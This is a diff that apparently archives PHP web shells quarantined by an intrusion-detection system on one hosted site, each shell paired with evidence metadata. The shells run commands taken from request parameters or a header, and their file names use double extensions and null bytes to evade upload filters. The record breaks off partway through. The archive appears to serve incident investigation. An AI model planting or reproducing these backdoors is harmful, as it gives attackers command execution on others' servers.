diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json
new file mode 100644
index 0000000..e4051e4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json.evidence.json
new file mode 100644
index 0000000..51d0644
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4889",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json)",
+  "original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364574,
+    "size": 291,
+    "uid": 20043
+  },
+  "rel_path": "70pv0kju.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json
new file mode 100644
index 0000000..e4051e4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json.evidence.json
new file mode 100644
index 0000000..152d196
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4922",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json)",
+  "original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364575,
+    "size": 291,
+    "uid": 20043
+  },
+  "rel_path": "70pv0kju.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json
new file mode 100644
index 0000000..e4051e4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json
@@ -0,0 +1,7 @@
+<?php 
+echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
+if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
+elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
+elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
+elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json.evidence.json
new file mode 100644
index 0000000..f77f4b1
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4836",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json)",
+  "original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783364573,
+    "size": 291,
+    "uid": 20043
+  },
+  "rel_path": "70pv0kju.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json.evidence.json
new file mode 100644
index 0000000..4f5d377
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4886",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php%00.jpg.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343525,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php%00.jpg.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json.evidence.json
new file mode 100644
index 0000000..e05d816
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4897",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php%00.txt.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343534,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php%00.txt.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json.evidence.json
new file mode 100644
index 0000000..1be6bb6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4934",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.bak.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343564,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php.bak.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json.evidence.json
new file mode 100644
index 0000000..bc6744f
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4930",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.jpg.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343552,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php.jpg.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..f629e6d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4928",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343421,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json.evidence.json
new file mode 100644
index 0000000..5977b80
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4860",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.txt.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343558,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php.txt.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json.evidence.json
new file mode 100644
index 0000000..c93bdb6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4938",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343435,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php4.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json.evidence.json
new file mode 100644
index 0000000..835f1bf
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4926",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343430,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json.evidence.json
new file mode 100644
index 0000000..faf7877
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4862",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343424,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "8j7txp50.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json.evidence.json
new file mode 100644
index 0000000..f718849
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4868",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_6h0804r6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841984,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_6h0804r6.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json.evidence.json
new file mode 100644
index 0000000..cffb2b1
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4866",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_ajhdpqok.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783744943,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_ajhdpqok.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json
new file mode 100644
index 0000000..2502a03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_fhgucf";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json.evidence.json
new file mode 100644
index 0000000..ede9eb7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4936",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_kgqxc7tj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json)",
+  "original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743199,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_kgqxc7tj.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json
new file mode 100644
index 0000000..aabe0a0
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json
@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json.evidence.json
new file mode 100644
index 0000000..cc29161
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4900",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_m28547fv.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784076470,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_m28547fv.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json
new file mode 100644
index 0000000..ee60a11
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json.evidence.json
new file mode 100644
index 0000000..4618fab
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4861",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_qdjyeroc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743971,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_qdjyeroc.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json.evidence.json
new file mode 100644
index 0000000..1409af9
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4892",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_v6hzbjh8.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841079,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_v6hzbjh8.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json
new file mode 100644
index 0000000..aabe0a0
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json
@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json.evidence.json
new file mode 100644
index 0000000..144135b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4852",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_y6oge9dr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784076485,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_y6oge9dr.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..ad135e8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5105",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343479,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "administrator/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..138a424
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5111",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json)",
